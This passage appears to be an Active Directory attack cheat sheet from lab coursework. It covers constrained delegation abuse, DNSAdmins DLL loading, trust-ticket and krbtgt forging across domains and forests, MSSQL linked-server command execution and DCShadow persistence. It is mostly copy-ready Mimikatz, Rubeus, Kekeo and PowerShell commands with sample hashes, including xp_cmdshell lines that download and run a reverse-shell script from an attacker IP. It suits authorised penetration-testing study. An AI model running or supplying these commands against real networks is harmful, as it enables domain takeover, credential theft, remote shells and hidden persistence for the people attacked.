Steps: A user - Joe, authenticates to the web service (running with service account websvc) using a non-Kerberos compatible authentication mechanism -> The web service requests a TGS ticket from the Key Distribution Center (KDC) for Joe's account without supplying a password as the websvc account -> The KDC checks the websvc UserAccountControl value for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute, and that Joe's account is not blocked for delegation. If OK, it returns a forwardable TGS ticket for Joe's account (S4U2self) -> The service then passes this TGS ticket back to the KDC and requests a TGS service ticket for the CIFS/dcorp-mssql.dollarcorp.moneycorp.local service -> The KDC checks the msDS-AllowedToDelegateTo field on the websvc account. If the service is listed it will return a TGS service ticket for dcorp-mssql (S4U2proxy) -> The web service can now authenticate to the CIFS on dcorp-mssql as Joe using the supplied TGS.

To abuse constrained delegation in the above scenario, we need to have access to the websvc account. If we have access to that account, it is possible to access the services listed in msDS-AllowedToDelegateTo of the websvc account as ANY user.

  • Discover computers and users which have constrained delegation enabled using PowerView_dev (make sure to check the UserAccountControl field to see if the object has TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, and make sure to check msDS-AllowedToDelegateTo field to see what service the object can delegate to)
PS C:\> Get-DomainComputer -TrustedToAuth
PS C:\> Get-DomainUser -TrustedToAuth
  • Discover computers and users which have constrained delegation enabled using ActiveDirectory Module (make sure to check the UserAccountControl field to see if the object has TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, and make sure to check msDS-AllowedToDelegateTo field to see what service the object can delegate to)
PS C:\> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
  • Request a TGT using asktgt from Kekeo (must have either the plaintext password or NTLM hash of the account that has constrained delegation enabled e.g. websvc account in our scenario)
PS C:\> .\kekeo.exe
kekeo # tgt::ask /user:websvc /domain:<Domain Name> /rc4:cc098f204c5887eaa8253e7c2749156f
  • Use the TGT to request a TGS as ANY user e.g. Administrator using S4U from Kekeo for a service the account (websvc) has access to through constrained delegation (cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL)
kekeo # tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
  • Use Mimikatz to ptt the TGS
PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
  • Confirm we have access to the CIFS service as Administrator (will only have access to the file system)
PS C:\> ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$
  • Abuse constrained delegation using Rubeus by requesting a TGT and TGS in a single command
PS C:\> .\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL" /ptt

PS C:\> ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$        # To confirm we have access

Alternate Service Constrained Delegation

Another interesting issue in Kerberos is that the delegation occurs not only for the specified service, but for ANY service running under the same account. There is no validation for the SPN specified. This is huge as it allows access to many interesting services when the delegation may be for a non-intrusive service e.g TIME.

  • Request a TGT using asktgt from Kekeo (must have either the plaintext password or NTLM hash of the account that has constrained delegation enabled e.g. dcorp-adminsrv machine in our scenario)
PS C:\> .\kekeo.exe
kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:<Domain Name> /rc4:1fadb1b13edbc5a61cbdc389e6f34c67
  • Use the TGT to request a TGS as ANY user e.g. Administrator using S4U from Kekeo_one (no SNAME validation) for a service the machine (dcorp-adminsrv) has access to through constrained delegation (time/dcorp-dc.dollarcorp.moneycorp.LOCAL), and request an alternate TGS ticket for the LDAP service (ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL)
kekeo # tgs::s4u /tgt:TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL
  • Use Mimikatz to ptt the TGS
PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
  • Use DCSync feature without having Domain Admin privileges to get the krbtgt hash
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
  • Abuse alternate service constrained delegation using Rubeus by requesting a TGT and TGS in a single command
PS C:\> .\Rubeus.exe s4u /user:dcorp-adminsrv$ /rc4:1fadb1b13edbc5a61cbdc389e6f34c67 /impersonateuser:Administrator /msdsspn:"time/dcorp-dc.dollarcorp.moneycorp.LOCAL" /altservice:ldap /ptt

PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'        # To confirm we can run DCSync

DNSAdmins

It is possible for members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). In case the Domain Controller also serves as DNS, this will provide us escalation to Domain Admin. This exploitation process needs privileges to restart the DNS service to work.

  • Enumerate the memebers of the DNSAdmins group using PowerView, then compromise a member of this group
PS C:\> Get-NetGroupMember -GroupName "DNSAdmins"
  • Enumerate the memebers of the DNSAdmins group using ActiveDirectory Module, then compromise a member of this group
PS C:\> Get-ADGroupMember -Identity DNSAdmins
  • Configure DLL using dnscmd.exe (needs RSAT DNS), using a member of the DNSAdmins group (make sure mimilib.dll is shared with Everyone = right-click a folder -> Properties -> Sharing -> Share -> Everyone = Read Permission Level)
PS C:\> dnscmd <Domain Controller> /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll        # By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log on the target. Can also modify kdns.c for our own payload
  • Use DNSServer module (needs RSAT DNS), using a member of the DNSAdmins group (make sure mimilib.dll is shared with Everyone = right-click a folder -> Properties -> Sharing -> Share -> Everyone = Read Permission Level)
PS C:\> $dnsettings = Get-DnsServerSetting -ComputerName <Domain Controller> -Verbose -All
PS C:\> $dnsettings.ServerLevelPluginDll = "\\172.16.50.100\dll\mimilib.dll"
PS C:\> Set-DnsServerSetting -InputObject $dnsettings -ComputerName <Domain Controller> -Verbose        # By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log on the target. Can also modify kdns.c for our own payload
  • Restart the DNS service (assuming the DNSAdmins group has the permission to do so) - By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log
PS C:\> sc \\<Domain Controller> stop dns
PS C:\> sc \\<Domain Controller> start dns

DA to EA: Child to Parent (Trust Tickets)

Across Domains - Implicit two-way trust relationship.
Across Forests - Trust relationship needs to be established.

Child to Forest root: Domains in same forest have an implicit two-way trust with other domains. There is a trust key between the parent and child domains. There are two ways of escalating privileges between two domains of same forest: Trust tickets, and Krbtgt hash.

  • Dump the trust key as Domain Admin
PS C:\> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName <Domain Controller>        # Trust key will be under [In] Child -> Parent, then under rc4_hmac_nt
OR
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'        # Trust key will be under Credentials -> Hash NTLM
OR
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <Domain Controller>        # Trust key will be under mcorp$
  • Forge an inter-realm TGT (Parent DC will trust anything in the TGT, so write SID history of Enterprise Admins group) (make sure to remove past tickets you have saved, otherwise it will error)
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Current Domain> /sid:<SID of current domain> /sids:<SID of the Enterprise Admins group of the parent domain> /rc4:<RC4 of the trust key> /service:krbtgt /target:<Parent Domain Name> /ticket:<Path where ticket is to be saved e.g. C:\AD\Tools\kekeo_old\trust_tkt.kirbi>"'
  • Request a TGS for any service (CIFS below) in the target domain using the forged inter-realm TGT and kekeo_old
PS C:\> .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local        # Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well
  • Inject the TGS to access the targeted service (CIFS below) (may need to use it twice)
PS C:\> .\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi
  • Check if the TGS is available
PS C:\> klist
  • Attempt to access the resource we requested access to
PS C:\> ls \\mcorp-dc.moneycorp.local\c$
  • Request a TGS for any service (CIFS below) in the target domain using the forged inter-realm TGT and Rubeus
PS C:\> .\Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

PS C:\> ls \\mcorp-dc.moneycorp.local\c$

DA to EA: Child to Parent (Krbtgt Hash)

  • Dump the krbtgt hash as Domain Admin
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <Domain Controller>
OR
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
  • Forge an inter-realm TGT (Parent DC will trust anything in the TGT, so write SID history of Enterprise Admins group) (make sure to remove past tickets you have saved, otherwise it will error)
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Current Domain> /sid:<SID of current domain> /sids:<SID of the Enterprise Admins group of the parent domain> /krbtgt:<krbtgt hash> /ticket:<Path where ticket is to be saved e.g. C:\AD\Tools\krbtgt_tkt.kirbi>"'

PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:dcorp-dc$ /domain:<Current Domain> /sid:<SID of current domain> /groups:516 /sids:<SID of the Domain Controllers Group,SID of Enterprise Domain Controllers Group> /krbtgt:<krbtgt hash> /ptt"'        # To avoid suspicious logs

# /sids is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group

PS C:\> Get-NetGroup -GroupName "Enterprise Admins" -Domain <Domain> -FullData        # Get Domain SID of the Enterprise Admins group
  • Inject the inter-realm TGT
PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
  • Attempt to access any resource
PS C:\> ls \\mcorp-dc.moneycorp.local\c$

PS C:\> gwmi -class win32_operatingsystem -ComputerName mcorp-dc.moneycorp.local
  • Dump the krbtgt hash of the parent domain
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local"'
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:mcorp\Administrator /domain:moneycorp.local"'        # To dump the Administrator hash

#7. - Cross Forest Attacks

Trust Tickets

If we have Domain Admin rights on a domain that has a bidirectional trust relationship with another forest we can get the trust key and forge our own inter-realm TGT. Note: The access we will have will be limited to what our Domain Admin account is configured to have on the other forest.

  • Dump the trust key as Domain Admin
PS C:\> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName <Domain Controller>        # Trust key will be under [In] Current -> Forest, then under rc4_hmac_nt
OR
PS C:\> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\ecorp$"'        # Trust key will be under Credentials -> Hash NTLM
OR
PS C:\> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <Domain Controller>        # Trust key will be under ecorp$
  • Forge an inter-realm TGT
PS C:\> Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<Current Domain> /sid:<SID of current domain> /rc4:<RC4 of the trust key> /service:krbtgt /target:<target Forest Name> /ticket:<Path where ticket is to be saved e.g. C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi>"'
  • Request a TGS to the external forest for any service (CIFS below) using the forged inter-realm TGT and kekeo_old
PS C:\> .\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local        # Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well
  • Inject the TGS to access the targeted service (CIFS below) (may need to use it twice)
PS C:\> .\kirbikator.exe lsa .\CIFS.eurocorp-dc.eurocorp.local.kirbi
  • Check if the TGS is available
PS C:\> klist
  • Attempt to access the resource we requested access to
PS C:\> ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
  • Request a TGS for any service (CIFS below) in the target domain using the forged inter-realm TGT and Rubeus
PS C:\> .\Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

PS C:\> ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\

MSSQL Servers

MSSQL Servers are generally deployed in plenty in a Windows domain. SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles.

  • PowerUpSQL link

https://github.com/NetSPI/PowerUpSQL

  • Import the PowerUpSQL module
PS C:\> Import-Module .\PowerUpSQL-master\PowerUpSQL.psd1
  • Enumerate MSSQL instances (SPN scanning) (looks for SPN's starting with MSSQL)
PS C:\> Get-SQLInstanceDomain
  • Check accessibility as current user
PS C:\> Get-SQLConnectionTestThreaded
OR
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Gather information about the MSSQL instance
PS C:\> Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources. In case of database links between SQL Servers, that is, linked SQL Servers it is possible to execute stored procedures. Database links even work across forest trusts.

  • Checking for links to remote servers (make sure to check DatabaseLinkLocation)
PS C:\> Get-SQLServerLink -Instance dcorp-mssql -Verbose
OR
select * from master..sysservers        # MSSQL query (heidisql -> Network Type: Microsoft SQL Server (TCP/IP) -> Hostname: dcorp-mssql -> Use Windows Authentication -> Open -> Query -> select * from master..sysservers -> Play Button
  • Enumerating database links manually
PS C:\> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
OR
select * from openquery("dcorp-sql1",'select * from master..sysservers')        # MSSQL query - Openquery() function can be used to run queries on a linked database.
OR
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt", ''select * from master..sysservers'')')        # MSSQL query - They can be chanined together to access links within links (nested links)
OR
select * from openquery("ufc-db1",'select * from openquery("ufc-dbprod", ''select * from openquery("ac-dbreport.amazecorp.local", ''''select * from openquery("ac-dbbusiness", ''''''''SELECT name FROM master..sysdatabases'''''''')'''')'')')
OR
select * from openquery("ufc-db1",'select * from openquery("ufc-dbprod", ''select * from openquery("ac-dbreport.amazecorp.local", ''''select * from openquery("ac-dbbusiness", ''''''''select table_name from Employees.information_schema.tables'''''''')'''')'')')
OR
select * from openquery("ufc-db1",'select * from openquery("ufc-dbprod", ''select * from openquery("ac-dbreport.amazecorp.local", ''''select * from openquery("ac-dbbusiness", ''''''''(SELECT column_name FROM Employees.information_schema.COLUMNS WHERE TABLE_NAME=''''''''''''''''ITEmployees'''''''''''''''')'''''''')'''')'')')
OR
select * from openquery("ufc-db1",'select * from openquery("ufc-dbprod", ''select * from openquery("ac-dbreport.amazecorp.local", ''''select * from openquery("ac-dbbusiness", ''''''''SELECT * FROM Employees..ITEmployees'''''''')'''')'')')
  • Enable xp_cmdshell so we can execute commands on the target server (On the target server, either xp_cmdshell should already be enabled, or if rpcout is enabled on the last node (disabled by default), xp_cmdshell can be enabled using the below command)
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql"        # MSSQL query
  • Execute commands using xp_cmdshell (output will be in the CustomQuery field)
PS C:\> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'"
OR
PS C:\> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft        # Better formatting
OR
PS C:\> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/Invoke-PowerShellTcp.ps1'')"'        # Reverse shell
OR
select * from openquery("dcorp-sql1", 'select * from openquery("dcorp-mgmt", "select * from openquery("eu-sql", ""select @@ version as version;exec master..xp_cmdshell "powershell whoami)"")")')        # MSSQL query - from the initial SQL server, OS commands can be executed using nested link queries. The quotes double between the SQL select statements e.g. 1, 2, 4
OR
PS C:\> select * from openquery("ufc-db1",'select * from openquery("ufc-dbprod",''select * from openquery("ac-dbreport",''''select * from openquery("ac-dbbusiness",''''''''select @@version as version;exec master..xp_cmdshell "powershell iex(New-Object Net.WebClient).DownloadString(''''''''''''''''http://<IP address>/Invoke-PowerShellTcpOneLine.ps1'''''''''''''''')"'''''''')'''')'')')

#8. - Forest Persistence

DCShadow

DCShadow temporarily registers a new Domain Controller in the target domain and uses it to "push" attributes like SIDHistory, SPNs etc...) on specified objects without leaving any change logs for modified object. The new Domain Controller is registered by modifying the Configuration container, SPNs of an existing computer object and a couple of RPC services. Because the attributes are changed from a "Domain Controller", there are no directory change logs on the actual Domain Controller for the target object. By default, Domain Admin privileges are required to use DCShadow, and the attacker's machine must be part of the root domain.

  • Use Mimikatz to start the RPC servers with SYSTEM privileges (right-click -> Run as administrator) and specify attributes to be modified, and then use a second instance of Mimikatz with enough privileges (Domain Admin or similar) to push the values (right-click -> Run as administrator -> PtH)
 - Mimikatz1 (RPC servers - Needs SYSTEM privileges)
mimikatz # !+
mimikatz # !processtoken
mimikatz # token::whoami        # Check if SYSTEM
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value:="Hello from DCShadow"

- Mimikatz2 (Push - Needs Domain Admin or similar)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /impersonate
mimikatz # lsadump::dcshadow /push

DCShadow Minimal Permissions

DCShadow can be used with minimal permissions by modifying ACLs of the below:

  • The domain object: Active Directory Users and Computers -> Right-click Domain object -> Properties -> Security
    • DS-Install-Replica (Add/Remove Replica in Domain)
    • DS-Replication-Manage-Topology (Manage Replication Topology)
    • DS-Replication-Synchronize (Replication Synchronization)
  • The Sites object (and its children) in the Configuration container: Active Directory Sites and Services -> Right-click Sites -> Properties -> Security
    • CreateChild and DeleteChild
  • The object of the computer which is registered as a DC (Attacking machine):
    • WriteProperty (Not Write)
  • The target object:
    • WriteProperty (Not Write)

We can also use Set-DCShadowPermissions from Nishang (https://github.com/samratashok/nishang) for setting the permissions. This must be run as Domain Admin.

  • Use DCShadow from machine mcorp-student1 as user student1 to modify root1user object (needs Domain Admin privileges)
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /run:powershell.exe"'
PS C:\> Set-DCShadowPermissions -FakeDC mcorp-student1 -SAMAccountName root1user -Username student1 -Verbose

# Now, the second Mimikatz instance (which runs as Domain Admin) is not required
# You can use Set-DCShadowPermissions to give these privileges to an unprivileged user (notice that this will leave some logs). This is much more restrictive than having Domain Admin privileges. This means that the username student1 when logged on to the machine mcorp-student1 has DCShadow permissions over the object root1user.

 - Mimikatz1 (RPC servers - Needs SYSTEM privileges)
mimikatz # !+
mimikatz # !processtoken
mimikatz # token::whoami        # Check if SYSTEM
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value:="Hello from DCShadow without DA"

- Mimikatz2 (Push - Can be run as student1) (right-click -> Run as administrator)
mimikatz # lsadump::dcshadow /push
  • Set SIDHistory of a user account to Enterprise Admins or Domain Admins group
 - Mimikatz1 (RPC servers - Needs SYSTEM privileges)
mimikatz # !+
mimikatz # !processtoken
mimikatz # token::whoami        # Check if SYSTEM
mimikatz # lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-5-21-560323961-2032768757-2425134131-519

- Mimikatz2 (Push - Needs Domain Admin or similar)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /impersonate
mimikatz # lsadump::dcshadow /push
OR
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /run:powershell.exe"'
PS C:\> Set-DCShadowPermissions -FakeDC mcorp-student1 -SAMAccountName root1user -Username student1 -Verbose        # To use without Domain Admin
- Mimikatz2 (Push - Can be run as student1) (right-click -> Run as administrator)
mimikatz # lsadump::dcshadow /push        # Do not need Domain Admin
  • Set primaryGroupID of a user account to Enterprise Admins or Domain Admins group (After the command is used, the user shows up as a member of the Enterprise Admins group in some enumeration techniques such as net group "Enterprise Admins" /domain)
 - Mimikatz1 (RPC servers - Needs SYSTEM privileges)
mimikatz # !+
mimikatz # !processtoken
mimikatz # token::whoami        # Check if SYSTEM
mimikatz # lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

- Mimikatz2 (Push - Needs Domain Admin or similar)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /impersonate
mimikatz # lsadump::dcshadow /push        # Need Domain Admin
OR
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /run:powershell.exe"'
PS C:\> Set-DCShadowPermissions -FakeDC mcorp-student1 -SAMAccountName root1user -Username student1 -Verbose        # To use without Domain Admin
- Mimikatz2 (Push - Can be run as student1) (right-click -> Run as administrator)
mimikatz # lsadump::dcshadow /push        # Do not need Domain Admin
  • Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user
# First, get the ACE of an admin already in the Security Descriptor Definition Language (SDDL) of AdminSDHolder: SY, BA, DA or -519 e.g. (A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl | Set-Clipboard

# Second, we just need to append a Full Control ACE from above for SY, BA, or DA with our user's SID at the end e.g. (A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-1874506631-3219952063-538504511-45138)

 - Mimikatz1 (RPC servers)
mimikatz # !+
mimikatz # !processtoken
mimikatz # token::whoami        # Check if SYSTEM
mimikatz # lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-280534878-1496970234-700767426-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-1874506631-3219952063-538504511-45138)

- Mimikatz2 (Push - Needs Domain Admin or similar)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /impersonate
mimikatz # lsadump::dcshadow /push        # Need Domain Admin
OR
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:moneycorp.local /ntlm:71d04f9d50ceb1f64de7a09f23e6dc4c /run:powershell.exe"'
PS C:\> Set-DCShadowPermissions -FakeDC mcorp-student1 -SAMAccountName root1user -Username student1 -Verbose        # To use without Domain Admin
- Mimikatz2 (Push - Can be run as student1) (right-click -> Run as administrator)
mimikatz # lsadump::dcshadow /push        # Do not need Domain Admin

Shadowception

Give DCShadow permissions using DCShadow (no change logs). Append the following ACEs with our user's SID at the end (same as minimal permissions list):

DCShadow can be used with minimal permissions by modifying ACLs USING DCSHADOW of:

  • The domain object:
    • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
    • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
    • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • The Sites object in the Configuration container:
    • (A;CI;CCDC;;;UserSID)
  • The attacker computer object: (student13)
    • (A;;WP;;;UserSID)
  • The target user object (so that it can modify it's own attributes): (root13user)
    • (A;;WP;;;UserSID)
  • Get the Security Descriptor Definition Language (SDDL) of an object
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl | Set-Clipboard        # Copy to clipboard
  • Shadowception walkthrough
Get the Security Descriptor Definition Language (SDDL) of the domain object
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

Append the 3 domain object ACE values from above with our user's SID at the end
mimikatz # lsadump::dcshadow /stack /object:DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>        # /stack means you will only need to /push one time to perform all the stacked changes in the rogue server

Get the Security Descriptor Definition Language (SDDL) of the attacker computer object
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=mcorp-student13,CN=Computers,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

Append the write property on the attacker computer object ACE values from above with our user's SID at the end
mimikatz # lsadump::dcshadow /stack /object:mcorp-student13 /attribute:ntSecurityDescriptor /value:<modified ACL>        # /stack means you will only need to /push one time to perform all the stacked changes in the rogue server

Get the Security Descriptor Definition Language (SDDL) of the target user object
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=mcorp-root13user,CN=Users,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

Append the write property on the target user object ACE values from above with our user's SID at the end
mimikatz # lsadump::dcshadow /stack /object:root13user /attribute:ntSecurityDescriptor /value:<modified ACL>        # /stack means you will only need to /push one time to perform all the stacked changes in the rogue server

Get the Security Descriptor Definition Language (SDDL) of the Sites object in the Configuration container
PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

Append the write property on the Sites object in the Configuration container ACE values from above with our user's SID at the end
mimikatz # lsadump::dcshadow /stack /object:CN=Sites,CN=Configuration,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>        # /stack means you will only need to /push one time to perform all the stacked changes in the rogue server

mimikatz # lsadump::dcshadow

mimikatz # lsadump::dcshadow /push

#9. - Abusing SQL Server Trusts

Principals, Roles, and Privileges

Principals (read - account types) can be used to access resources from a SQL Server instance. Every Principal has a Security Identifier (SID). Scope of Principals: Windows Users (Mapped to Logins), SQL Server Logins (Used to connect to an instance), Database Users (Used to determine permissions within a database). A "Login" grants the principal entry into the SERVER. A "User" grants a login entry into a single DATABASE. One "Login" can be associated with many users (one per database). Nine fixed server roles (permissions cannot be changed expect for public) and user-defined server roles. Each member of a fixed server role can add other logins to that same role. Roles: sysadmin = has all permissions on the server, securityadmin (treated equivalent to sysadmin) = alter any login, bulkadmin = administer bulk operations, dbcreator = alter/create any database, setupadmin = alter any linked server, diskadmin = alter resoureces, serveradmin = alter resources/settings/endpoints/server state, create endpoint, shutdown, 